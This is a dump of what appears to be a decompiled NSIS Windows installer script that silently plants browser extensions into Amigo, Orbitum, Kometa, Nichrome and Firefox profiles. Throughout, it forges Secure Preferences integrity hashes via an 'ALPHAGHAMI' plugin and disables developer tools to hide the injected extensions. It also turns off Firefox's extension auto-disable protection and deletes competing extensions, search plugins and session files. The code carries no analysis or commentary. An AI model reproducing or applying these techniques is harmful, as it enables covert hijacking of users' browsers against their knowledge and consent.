Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get extensions /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_7485 Call func_9058 Call func_9427 Call func_9497 Call func_9563 Call func_9629 Call func_9695 Call func_9757 Call func_9823 Call func_9889 Call func_9955 Call func_10021 Call func_10087 Call func_10153 Call func_10219 Call func_10285 Call func_10351 Call func_10417 Call func_10483 Call func_10549 Call func_10615 Call func_10681 Call func_10745 Call func_10811 Call func_10877 Call func_10943 Call func_11009 Call func_11075 label_7485: Push "$_26_\Extension Data-install" Push $_51_ Push $PLUGINSDIR\SecurePreferences Push 0 Call func_11497 Goto label_7708 label_7491: IfFileExists "$_26_\Secure Preferences-install" 0 label_7493 Delete "$_26_\Secure Preferences-install" label_7493: CopyFiles /SILENT "$_26_\Secure Preferences" "$_26_\Secure Preferences-install" ; "$(LSTR_7)$_26_\Secure Preferences-install" ; "Copy to " StrCpy $_30_ "$_26_\Secure Preferences-install" ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get extensions /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_7536 Call func_9058 Call func_9427 Call func_9497 Call func_9563 Call func_9629 Call func_9695 Call func_9757 Call func_9823 Call func_9889 Call func_9955 Call func_10021 Call func_10087 Call func_10153 Call func_10219 Call func_10285 Call func_10351 Call func_10417 Call func_10483 Call func_10549 Call func_10615 Call func_10681 Call func_10745 Call func_10811 Call func_10877 Call func_10943 Call func_11009 Call func_11075 label_7536: Call func_11125 IfFileExists $_26_\Extensions\$_51_ 0 label_7539 RMDir /r $_26_\Extensions\$_51_ label_7539: Call func_13366 nsisunz::Unzip $PLUGINSDIR\sl.zip $_26_\Extensions\$_51_\$_54_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $_26_\Extensions\$_51_\$_54_ ; Push $PLUGINSDIR\sl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_7550 Delete $_26_\Extensions\$_51_\$_54_\img\48.png IfFileExists $_26_\Extensions\$_51_\$_54_\img\48.png label_7550 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png $_26_\Extensions\$_51_\$_54_\img\48.png ; $(LSTR_7)$_26_\Extensions\$_51_\$_54_\img\48.png ; "Copy to " label_7550: Call func_13366 StrCpy $_45_ $_26_\Extensions\$_51_\$_54_ Call func_12133 ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get protection macs browser show_home_button /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push show_home_button ; Push browser ; Push macs ; Push protection ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get Pop $3 IfErrors 0 label_7572 StrCpy $3 none label_7572: Push $3 Call func_5423 StrCmp $_61_ "" 0 label_7589 ALPHAGHAMI::GHASH $_55_ "" $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ $_20_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push $_20_ ; Push $_72_ ; Push $_71_ ; Push $_70_ ; Push $_69_ ; Push $_68_ ; Push $_67_ ; Push "" ; Push $_55_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $_61_ label_7589: Push $_30_ Push $_51_ Push $PLUGINSDIR\SecurePreferences Push $_61_ Call func_11497 StrCmp 1 1 0 label_7630 ClearErrors ReadINIStr $1 $EXEDIR\le LE NTSS IfErrors 0 label_7630 Call func_11290 IfFileExists $_26_\Extensions\$_138_ 0 label_7601 RMDir /r $_26_\Extensions\$_138_ label_7601: StrCmp $_62_ "" 0 label_7616 ALPHAGHAMI::GHASH $_140_ "" $_142_ $_143_ $_145_ $_146_ "" "" $_20_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push $_20_ ; Push "" ; Push "" ; Push $_146_ ; Push $_145_ ; Push $_143_ ; Push $_142_ ; Push "" ; Push $_140_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $_62_ label_7616: Push $_30_ Push $_138_ Push $PLUGINSDIR\SecurePreferencesNT Push $_62_ Call func_11497 nsisunz::Unzip $PLUGINSDIR\nt.zip $_26_\Extensions\$_138_\$_139_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $_26_\Extensions\$_138_\$_139_ ; Push $PLUGINSDIR\nt.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip StrCpy $_45_ $_26_\Extensions\$_138_\$_139_ Call func_12459 StrCpy $_151_ 1 label_7630: ClearErrors ReadINIStr $1 $EXEDIR\le LE WSEDJN IfErrors 0 label_7665 StrCmp $_86_ "" 0 label_7636 Push DJN Call func_11441 label_7636: IfFileExists $_26_\Extensions\$_83_ 0 label_7638 RMDir /r $_26_\Extensions\$_83_ label_7638: StrCmp $_79_ "" 0 label_7653 ALPHAGHAMI::GHASH $_85_ "" $_86_ $_87_ $_88_ $_89_ "" "" $_20_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push $_20_ ; Push "" ; Push "" ; Push $_89_ ; Push $_88_ ; Push $_87_ ; Push $_86_ ; Push "" ; Push $_85_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $_79_ label_7653: IfFileExists $_26_\Extensions\$_83_\$_84_ label_7655 CreateDirectory $_26_\Extensions\$_83_\$_84_ label_7655: IfFileExists $PLUGINSDIR\CRXIMG\GDO.png 0 label_7657 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDO.png $_26_\Extensions\$_83_\$_84_\128.png ; $(LSTR_7)$_26_\Extensions\$_83_\$_84_\128.png ; "Copy to " label_7657: Push $_30_ Push $_83_ Push $PLUGINSDIR\SecurePreferencesWSEDJN Push $_79_ Call func_11497 StrCpy $_45_ $_26_\Extensions\$_83_\$_84_ Call func_12494 StrCpy $_81_ 1 label_7665: ClearErrors ReadINIStr $1 $EXEDIR\le LE WSEBAP IfErrors 0 label_7700 StrCmp $_93_ "" 0 label_7671 Push BAP Call func_11441 label_7671: IfFileExists $_26_\Extensions\$_90_ 0 label_7673 RMDir /r $_26_\Extensions\$_90_ label_7673: StrCmp $_80_ "" 0 label_7688 ALPHAGHAMI::GHASH $_91_ "" $_93_ $_94_ $_95_ $_96_ "" "" $_20_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push $_20_ ; Push "" ; Push "" ; Push $_96_ ; Push $_95_ ; Push $_94_ ; Push $_93_ ; Push "" ; Push $_91_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $_80_ label_7688: IfFileExists $_26_\Extensions\$_90_\$_92_ label_7690 CreateDirectory $_26_\Extensions\$_90_\$_92_ label_7690: IfFileExists $PLUGINSDIR\CRXIMG\GDE.png 0 label_7692 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDE.png $_26_\Extensions\$_90_\$_92_\128.png ; $(LSTR_7)$_26_\Extensions\$_90_\$_92_\128.png ; "Copy to " label_7692: Push $_30_ Push $_90_ Push $PLUGINSDIR\SecurePreferencesWSEBAP Push $_80_ Call func_11497 StrCpy $_45_ $_26_\Extensions\$_90_\$_92_ Call func_12494 StrCpy $_82_ 1 label_7700: IfFileExists "$_26_\Secure Preferences-install" 0 label_7708 Call func_13366 Delete "$_26_\Secure Preferences" IfFileExists "$_26_\Secure Preferences" 0 label_7706 RMDir /r $_26_\Extensions\$_51_ Goto label_7708 label_7706: CopyFiles /SILENT "$_26_\Secure Preferences-install" "$_26_\Secure Preferences" ; "$(LSTR_7)$_26_\Secure Preferences" ; "Copy to " Delete /REBOOTOK "$_26_\Secure Preferences-install" label_7708: IfFileExists "$_26_\Extension Data-install" 0 label_7713 Call func_13366 Delete "$_26_\Extension Data" IfFileExists "$_26_\Extension Data" label_7713 CopyFiles /SILENT "$_26_\Extension Data-install" "$_26_\Extension Data" ; "$(LSTR_7)$_26_\Extension Data" ; "Copy to " label_7713: Delete /REBOOTOK "$_26_\Extension Data-install" StrCpy $_47_ $_26_\Bookmarks Call func_13366 IfFileExists $_26_\Bookmarks.inst label_7718 Call func_12634 label_7718: Call func_12776 FunctionEnd Function func_7720 Call func_12622 Call func_11125 CreateDirectory "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_" nsisunz::Unzip $PLUGINSDIR\sl.zip "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_" ; Push $PLUGINSDIR\sl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_7733 Delete "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_\img\48.png" IfFileExists "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_\img\48.png" label_7733 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "Copy to " label_7733: FileOpen $1 "$LOCALAPPDATA\Amigo\User Data\Default\Extension Data" w FileWrite $1 {$\"devtools$\":{$\"disabled$\":true}} FileClose $1 FileOpen $1 "$LOCALAPPDATA\Amigo\User Data\Default\Secure Preferences" w FileWrite $1 "" FileClose $1 StrCpy $_30_ "$LOCALAPPDATA\Amigo\User Data\Default\Secure Preferences" Push none Call func_5423 StrCmp $_61_ "" 0 label_7757 ALPHAGHAMI::GHASH $_55_ "" $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ $_20_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push $_20_ ; Push $_72_ ; Push $_71_ ; Push $_70_ ; Push $_69_ ; Push $_68_ ; Push $_67_ ; Push "" ; Push $_55_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $_61_ label_7757: Push $_30_ Push $_51_ Push $PLUGINSDIR\SecurePreferences Push $_61_ Call func_11497 StrCpy $_45_ "$LOCALAPPDATA\Amigo\User Data\Default\Extensions\$_51_\$_54_" Call func_12133 FunctionEnd Function func_7765 StrCmp $_43_ "" label_7767 StrCpy $_41_ 1 label_7767: CopyFiles /SILENT $_27_\Preferences $_27_\Preferences-install ; $(LSTR_7)$_27_\Preferences-install ; "Copy to " StrCpy $_30_ $_27_\Preferences-install ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get browser /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push browser ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_7810 Call func_9058 Call func_9427 Call func_9497 Call func_9563 Call func_9629 Call func_9695 Call func_9757 Call func_9823 Call func_9889 Call func_9955 Call func_10021 Call func_10087 Call func_10153 Call func_10219 Call func_10285 Call func_10351 Call func_10417 Call func_10483 Call func_10549 Call func_10615 Call func_10681 Call func_10745 Call func_10811 Call func_10877 Call func_10943 Call func_11009 Call func_11075 label_7810: ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set devtools disabled /value true ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push true ; Push /value ; Push disabled ; Push devtools ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set IfErrors label_7833 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_7833: IfFileExists "$_27_\Secure Preferences" 0 label_7878 CopyFiles /SILENT "$_27_\Secure Preferences" "$_27_\Secure Preferences-install" ; "$(LSTR_7)$_27_\Secure Preferences-install" ; "Copy to " IfFileExists "$_27_\Secure Preferences-install" 0 label_7878 StrCpy $_30_ "$_27_\Secure Preferences-install" ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get extensions /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_7878 Call func_9058 Call func_9427 Call func_9497 Call func_9563 Call func_9629 Call func_9695 Call func_9757 Call func_9823 Call func_9889 Call func_9955 Call func_10021 Call func_10087 Call func_10153 Call func_10219 Call func_10285 Call func_10351 Call func_10417 Call func_10483 Call func_10549 Call func_10615 Call func_10681 Call func_10745 Call func_10811 Call func_10877 Call func_10943 Call func_11009 Call func_11075 label_7878: StrCpy $_47_ $_27_\Bookmarks IfFileExists $_27_\Bookmarks.inst label_7881 Call func_12634 label_7881: Call func_12776 Call func_13394 IfFileExists "$_27_\Secure Preferences-install" 0 label_7886 Delete "$_27_\Secure Preferences" CopyFiles /SILENT "$_27_\Secure Preferences-install" "$_27_\Secure Preferences" ; "$(LSTR_7)$_27_\Secure Preferences" ; "Copy to " label_7886: Delete $_27_\Preferences IfFileExists $_27_\Preferences label_7891 CopyFiles /SILENT $_27_\Preferences-install $_27_\Preferences ; $(LSTR_7)$_27_\Preferences ; "Copy to " Delete $_27_\Preferences-install Goto label_7892 label_7891: RMDir /r $_27_\Extensions\$_51_ label_7892: FunctionEnd Function func_7893 StrCpy $_47_ "$LOCALAPPDATA\Nichrome\User Data\Default\Bookmarks" IfFileExists "$LOCALAPPDATA\Nichrome\User Data\Default\Bookmarks.inst" label_7896 Call func_12634 label_7896: FunctionEnd Function func_7897 StrCmp $_43_ "" label_7899 StrCpy $_42_ 1 label_7899: IfFileExists "$_28_\Secure Preferences" 0 label_7945 Delete "$_28_\Secure Preferences-install" CopyFiles /SILENT "$_28_\Secure Preferences" "$_28_\Secure Preferences-install" ; "$(LSTR_7)$_28_\Secure Preferences-install" ; "Copy to " IfFileExists "$_28_\Secure Preferences-install" 0 label_7945 StrCpy $_30_ "$_28_\Secure Preferences-install" ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get extensions /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_7945 Call func_9058 Call func_9427 Call func_9497 Call func_9563 Call func_9629 Call func_9695 Call func_9757 Call func_9823 Call func_9889 Call func_9955 Call func_10021 Call func_10087 Call func_10153 Call func_10219 Call func_10285 Call func_10351 Call func_10417 Call func_10483 Call func_10549 Call func_10615 Call func_10681 Call func_10745 Call func_10811 Call func_10877 Call func_10943 Call func_11009 Call func_11075 label_7945: IfFileExists $_28_\Preferences 0 label_7969 ClearErrors nsJSON::Set /file $_28_\Preferences ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_28_\Preferences ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set devtools disabled /value true ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push true ; Push /value ; Push disabled ; Push devtools ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set IfErrors label_7969 nsJSON::Serialize /format /file $_28_\Preferences ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_28_\Preferences ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_7969: StrCpy $_47_ $_28_\Bookmarks IfFileExists $_28_\Bookmarks.inst label_7972 Call func_12634 label_7972: Call func_12776 IfFileExists "$_28_\Secure Preferences-install" 0 label_7978 Call func_13286 Delete "$_28_\Secure Preferences" CopyFiles /SILENT "$_28_\Secure Preferences-install" "$_28_\Secure Preferences" ; "$(LSTR_7)$_28_\Secure Preferences" ; "Copy to " Delete "$_28_\Secure Preferences-install" label_7978: IfFileExists $_28_\Preferences-install 0 label_7983 Call func_13286 Delete $_28_\Preferences CopyFiles /SILENT $_28_\Preferences-install $_28_\Preferences ; $(LSTR_7)$_28_\Preferences ; "Copy to " Delete $_28_\Preferences-install label_7983: IfFileExists $_28_\Extensions\fnlniebipcabacmdlbgakehcmmdampka 0 label_7985 RMDir /r /REBOOTOK $_28_\Extensions\fnlniebipcabacmdlbgakehcmmdampka label_7985: FunctionEnd Function func_7986 IfFileExists "$LOCALAPPDATA\Orbitum\User Data\Default\Bookmarks.inst" label_7989 StrCpy $_47_ "$LOCALAPPDATA\Orbitum\User Data\Default\Bookmarks" Call func_12634 label_7989: FunctionEnd Function func_7990 Call func_12622 IfFileExists $_29_\Preferences 0 label_8033 IfFileExists $_29_\Preferences-install 0 label_7994 Delete $_29_\Preferences-install label_7994: CopyFiles /SILENT $_29_\Preferences $_29_\Preferences-install ; $(LSTR_7)$_29_\Preferences-install ; "Copy to " StrCpy $_30_ $_29_\Preferences-install ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get browser /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push browser ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_8033 ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set devtools disabled /value true ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push true ; Push /value ; Push disabled ; Push devtools ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set IfErrors label_8033 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_8033: IfFileExists "$_29_\Secure Preferences" 0 label_8121 IfFileExists "$_29_\Secure Preferences-install" 0 label_8036 Delete "$_29_\Secure Preferences-install" label_8036: CopyFiles /SILENT "$_29_\Secure Preferences" "$_29_\Secure Preferences-install" ; "$(LSTR_7)$_29_\Secure Preferences-install" ; "Copy to " StrCpy $_30_ "$_29_\Secure Preferences-install" ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get extensions /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_8079 Call func_9058 Call func_9427 Call func_9497 Call func_9563 Call func_9629 Call func_9695 Call func_9757 Call func_9823 Call func_9889 Call func_9955 Call func_10021 Call func_10087 Call func_10153 Call func_10219 Call func_10285 Call func_10351 Call func_10417 Call func_10483 Call func_10549 Call func_10615 Call func_10681 Call func_10745 Call func_10811 Call func_10877 Call func_10943 Call func_11009 Call func_11075 label_8079: Call func_11125 IfFileExists $_29_\Extensions\$_51_ 0 label_8082 RMDir /r $_29_\Extensions\$_51_ label_8082: nsisunz::Unzip $PLUGINSDIR\sl.zip $_29_\Extensions\$_51_\$_54_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $_29_\Extensions\$_51_\$_54_ ; Push $PLUGINSDIR\sl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_8092 Delete $_29_\Extensions\$_51_\$_54_\img\48.png IfFileExists $_29_\Extensions\$_51_\$_54_\img\48.png label_8092 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png $_29_\Extensions\$_51_\$_54_\img\48.png ; $(LSTR_7)$_29_\Extensions\$_51_\$_54_\img\48.png ; "Copy to " label_8092: StrCpy $_45_ $_29_\Extensions\$_51_\$_54_ Call func_12133 ALPHAGHAMI::GHASH $_55_ "" $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ "" ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push "" ; Push $_72_ ; Push $_71_ ; Push $_70_ ; Push $_69_ ; Push $_68_ ; Push $_67_ ; Push "" ; Push $_55_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 Push $_30_ Push $_51_ Push $PLUGINSDIR\SecurePreferences Push $R8 Call func_11497 IfFileExists "$_29_\Secure Preferences-install" 0 label_8121 Call func_13436 Delete "$_29_\Secure Preferences" IfFileExists "$_29_\Secure Preferences" 0 label_8119 RMDir /r $_29_\Extensions\$_51_ Goto label_8121 label_8119: CopyFiles /SILENT "$_29_\Secure Preferences-install" "$_29_\Secure Preferences" ; "$(LSTR_7)$_29_\Secure Preferences" ; "Copy to " Delete /REBOOTOK "$_29_\Secure Preferences-install" label_8121: IfFileExists $_29_\Preferences-install 0 label_8126 Call func_13436 Delete $_29_\Preferences IfFileExists $_29_\Preferences label_8126 CopyFiles /SILENT $_29_\Preferences-install $_29_\Preferences ; $(LSTR_7)$_29_\Preferences ; "Copy to " label_8126: Delete /REBOOTOK $_29_\Preferences-install IfFileExists "$_29_\Sync Data Backup" 0 label_8129 RMDir /r /REBOOTOK "$_29_\Sync Data Backup" label_8129: StrCpy $_47_ $_29_\Bookmarks IfFileExists $_29_\Bookmarks.inst label_8132 Call func_12634 label_8132: Call func_12776 FunctionEnd Function func_8134 Call func_12622 Call func_11125 CreateDirectory "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_" nsisunz::Unzip $PLUGINSDIR\sl.zip "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_" ; Push $PLUGINSDIR\sl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_8147 Delete "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_\img\48.png" IfFileExists "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_\img\48.png" label_8147 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "Copy to " label_8147: FileOpen $1 "$LOCALAPPDATA\Kometa\User Data\First Run" w FileWrite $1 "" FileClose $1 FileOpen $1 "$LOCALAPPDATA\Kometa\User Data\Default\Preferences" w FileWrite $1 {$\"devtools$\":{$\"disabled$\":true}} FileClose $1 FileOpen $1 "$LOCALAPPDATA\Kometa\User Data\Default\Secure Preferences" w FileWrite $1 "" FileClose $1 StrCpy $_30_ "$LOCALAPPDATA\Kometa\User Data\Default\Secure Preferences" ALPHAGHAMI::GHASH $_55_ "" $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ "" ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push "" ; Push $_72_ ; Push $_71_ ; Push $_70_ ; Push $_69_ ; Push $_68_ ; Push $_67_ ; Push "" ; Push $_55_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 Push $_30_ Push $_51_ Push $PLUGINSDIR\SecurePreferences Push $R8 Call func_11497 StrCpy $_45_ "$LOCALAPPDATA\Kometa\User Data\Default\Extensions\$_51_\$_54_" Call func_12133 FunctionEnd Function func_8179 StrCpy $R5 0 label_8180: Call func_13306 IfFileExists $APPDATA\Mozilla\Firefox\profiles.ini 0 label_8236 ClearErrors ReadINIStr $3 $APPDATA\Mozilla\Firefox\profiles.ini Profile$R5 Path IfErrors label_8236 StrCpy $0 $3 "" 9 StrCpy $_59_ $APPDATA\Mozilla\Firefox\Profiles\$0 FileOpen $1 $_59_\prefs.js a FileSeek $1 0 END FileWrite $1 $\r$\n FileWrite $1 user_pref($\"extensions.autoDisableScopes$\",0); FileWrite $1 $\r$\n FileClose $1 StrCpy $8 ext Call func_13145 Pop $8 WriteRegStr HKLM Software\Mozilla\Firefox\Extensions $8 $_59_\extensions\sbext@slext.dev Push $0 Push $_59_\prefs.js Push "" Push 1:-1 StrCpy $0 11996 Push $0 Call :label_4862 Pop $0 Delete /REBOOTOK $_59_\user.js Delete /REBOOTOK $_59_\sessionstore.js Delete /REBOOTOK $_59_\search-metadata.json IfFileExists $_59_\extensions 0 label_8224 Call func_8238 Call func_8335 Call func_8436 Call func_8545 Call func_8644 Call func_8743 Push $_59_ Call func_927 CreateDirectory $_59_\extensions_backup$0 CopyFiles /SILENT $_59_\extensions\*.xpi $_59_\extensions_backup$0 ; $(LSTR_7)$_59_\extensions_backup$0 ; "Copy to " CopyFiles /SILENT $_59_\extensions\{* $_59_\extensions_backup$0 ; $(LSTR_7)$_59_\extensions_backup$0 ; "Copy to " Delete /REBOOTOK $_59_\extensions\* RMDir /r /REBOOTOK $_59_\extensions\* CopyFiles /SILENT $_59_\extensions_backup$0\* $_59_\extensions ; $(LSTR_7)$_59_\extensions ; "Copy to " RMDir /r /REBOOTOK $_59_\extensions_backup$0 label_8224: SetOutPath $PLUGINSDIR SetOverwrite on AllowSkipFiles on File xpisl.zip nsisunz::Unzip $PLUGINSDIR\xpisl.zip $_59_\extensions\sbext@slext.dev ; Call Initialize_____Plugins ; SetOverwrite off ; AllowSkipFiles off ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $_59_\extensions\sbext@slext.dev ; Push $PLUGINSDIR\xpisl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip StrCpy $_45_ $_59_\extensions\sbext@slext.dev\chrome\content Call func_12549 IntOp $R5 $R5 + 1 Goto label_8180 label_8236: ClearErrors FunctionEnd Function func_8238 IfFileExists $_59_\extensions\slext@sl.dev 0 label_8240 RMDir /r /REBOOTOK $_59_\extensions\slext@sl.dev label_8240: IfFileExists $_59_\searchplugins 0 label_8242 RMDir /r /REBOOTOK $_59_\searchplugins label_8242: IfFileExists $_59_\extensions\{2661A808-1BEB-4BEC-8673-D34EECE955CB}.xpi 0 label_8244 Delete /REBOOTOK $_59_\extensions\{2661A808-1BEB-4BEC-8673-D34EECE955CB}.xpi label_8244: IfFileExists $_59_\extensions\playgame@zugaramedia.com.xpi 0 label_8246 Delete /REBOOTOK $_59_\extensions\playgame@zugaramedia.com.xpi label_8246: IfFileExists $_59_\extensions\{D723D90A-8E67-11E3-81AA-43CE6088709B}.xpi 0 label_8248 Delete /REBOOTOK $_59_\extensions\{D723D90A-8E67-11E3-81AA-43CE6088709B}.xpi label_8248: IfFileExists $_59_\extensions\dldcbakcjliccckkmfjcblhciilpdcil@infoenhancer.com.xpi 0 label_8250 Delete /REBOOTOK $_59_\extensions\dldcbakcjliccckkmfjcblhciilpdcil@infoenhancer.com.xpi label_8250: IfFileExists $_59_\extensions\{4e38134d-ba98-4066-b898-e296d8acc938}.xpi 0 label_8252 Delete /REBOOTOK $_59_\extensions\{4e38134d-ba98-4066-b898-e296d8acc938}.xpi label_8252: IfFileExists $_59_\extensions\{D394D188-BAC7-4e03-8FAF-389A4D7EC6F4}.xpi 0 label_8254 Delete 